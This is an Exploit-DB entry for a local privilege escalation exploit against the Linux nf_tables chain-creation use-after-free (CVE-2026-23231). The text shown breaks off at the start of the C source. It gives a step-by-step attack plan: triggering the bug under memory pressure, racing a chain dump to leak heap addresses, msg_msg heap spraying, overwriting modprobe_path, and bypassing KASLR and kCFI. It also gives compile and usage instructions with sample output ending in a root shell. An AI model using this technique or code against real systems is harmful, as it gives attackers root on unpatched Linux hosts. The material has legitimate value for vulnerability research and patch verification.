Exploit-DB #52549
Description: Linux nf_tables 6.19.3 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2026-05-04
Author: aviralyash27

Exploit:
 * Exploit Title:  Linux Kernel 3.16 – 6.19.3 nf_tables RCU UAF LPE
 * CVE:            CVE-2026-23231
 * Date:           2026-03-19
 * Exploit Author: Aviral Srivastava
 * Vendor:         Linux Kernel (kernel.org)
 * Affected:       3.16 – 6.19.3
 * Fixed in:       6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4
 *                 (commit 71e99ee20fc3f662555118cf[PII_REDACTED]47533)
 * Tested on:      Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64)
 * Type:           Local Privilege Escalation
 * Platform:       Linux x86_64
 * CVSS:           7.8 (HIGH)
 *
 * ┌──────────────────────────────────────────────────────────────────┐
 * │  N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      │
 * └──────────────────────────────────────────────────────────────────┘
 *
 * DESCRIPTION:
 *   nf_tables_addchain() in net/netfilter/nf_tables_api.c publishes a
 *   newly created chain to the table's chain list via list_add_tail_rcu()
 *   BEFORE registering hooks. If nf_tables_register_hook() subsequently
 *   fails (e.g., due to OOM during IPv6 hook allocation for NFPROTO_INET
 *   chains), the error path calls nft_chain_del() (list_del_rcu) followed
 *   immediately by nf_tables_chain_destroy() — freeing the chain memory
 *   WITHOUT calling synchronize_rcu().
 *
 *   This creates a use-after-free: concurrent RCU readers — both
 *   nf_tables_dump_chains() in the control plane and nft_do_chain() in
 *   the packet path — can access the freed nft_base_chain memory. The
 *   freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed
 *   with user-controlled spray objects (msg_msg via msgsnd).
 *
 *   The exploit races a chain dump against the UAF trigger, then sprays
 *   the freed slot with msg_msg to control chain fields. The corrupted
 *   chain data is used to leak kernel heap addresses and ultimately
 *   overwrite modprobe_path for privilege escalation.
 *
 * TECHNIQUE:
 *   Trigger hook registration failure via memory pressure (cgroup v2
 *   memory limit). Race nf_tables_dump_chains() against the error path
 *   to read stale chain data (heap leak). Spray freed kmalloc-256 slot
 *   with msg_msg. Use modprobe_path overwrite for escalation. Data-only
 *   attack — no code execution needed, bypasses kCFI.
 *
 * RELIABILITY:
 *   ~30-50% success rate per attempt. Race window is narrow (~5-20us).
 *   Typically requires 3-8 attempts. Each failed attempt may cause a
 *   kernel oops (process killed) but is retried from a fresh namespace.
 *   Kernel panic is possible (~5% of failures) if spray timing is wrong.
 *
 * MITIGATIONS:
 *   KASLR:          Bypassed via stale chain data heap leak + hardcoded
 *                   offsets for target kernel version
 *   SMEP:           Not applicable (data-only attack)
 *   SMAP:           Not applicable (all data in kernel slab)
 *   kCFI:           Not applicable (data-only — modprobe_path overwrite)
 *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
 *
 * FIX:
 *   Commit: 71e99ee20fc3f662555118cf[PII_REDACTED]47533
 *   URL:    https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf[PII_REDACTED]47533
 *   Adds synchronize_rcu() between nft_chain_del() and chain destroy.
 *
 * COMPILATION:
 *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
 *
 * USAGE:
 *   $ ./exploit
 *   [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE
 *   [*] Target: kernel < 6.19.4 (nf_tables addchain RCU race)
 *   [+] Running kernel 6.8.0-45-generic — VULNERABLE
 *   [*] Step 1: Creating user/net namespace...
 *   [+] Namespace created, CAP_NET_ADMIN obtained
 *   [*] Step 2: Setting up nftables infrastructure...
 *   [+] Table and chains created
 *   [*] Step 3: Triggering UAF via hook registration failure...
 *   [+] UAF triggered — chain freed without synchronize_rcu
 *   [*] Step 4: Spraying freed slot with msg_msg...
 *   [+] Heap spray complete
 *   [*] Step 5: Leaking kernel addresses via dump race...
 *   [+] Kernel heap base: 0xffff888XXXXXXXXX
 *   [*] Step 6: Overwriting modprobe_path...
 *   [+] modprobe_path = "/tmp/pwn"
 *   [*] Step 7: Triggering modprobe helper...
 *   [+] Got root! uid=0 gid=0
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * REFERENCES:
 *   [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231
 *   [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf[PII_REDACTED]47533
 *   [3] CVE-2024-1086 — nf_tables double-free LPE (technique reference)
 *   [4] CVE-2023-32233 — nf_tables anonymous set UAF (msg_msg spray reference)
 *
 * DISCLAIMER:
 *   This exploit targets an ALREADY PATCHED vulnerability. It is provided
 *   for educational and authorized security research purposes only. The
 *   author is not responsible for misuse. Test only on systems you own.
 * ═══════════════════════════════════════════════════════════════════════
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mount.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <arpa/inet.h>

/* ─── Constants ─────────────────────────────────────────────────────── */

#define BANNER \
    "═══════════════════════════════════════════════════════════════\n" \
    "  CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n" \
    "  nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \
    "  Affected: kernel 3.16 – 6.19.3 | Author: Aviral Srivastava\n" \
    "  N-DAY RESEARCH PoC — THIS BUG IS PATCHED\n" \
    "═══════════════════════════════════════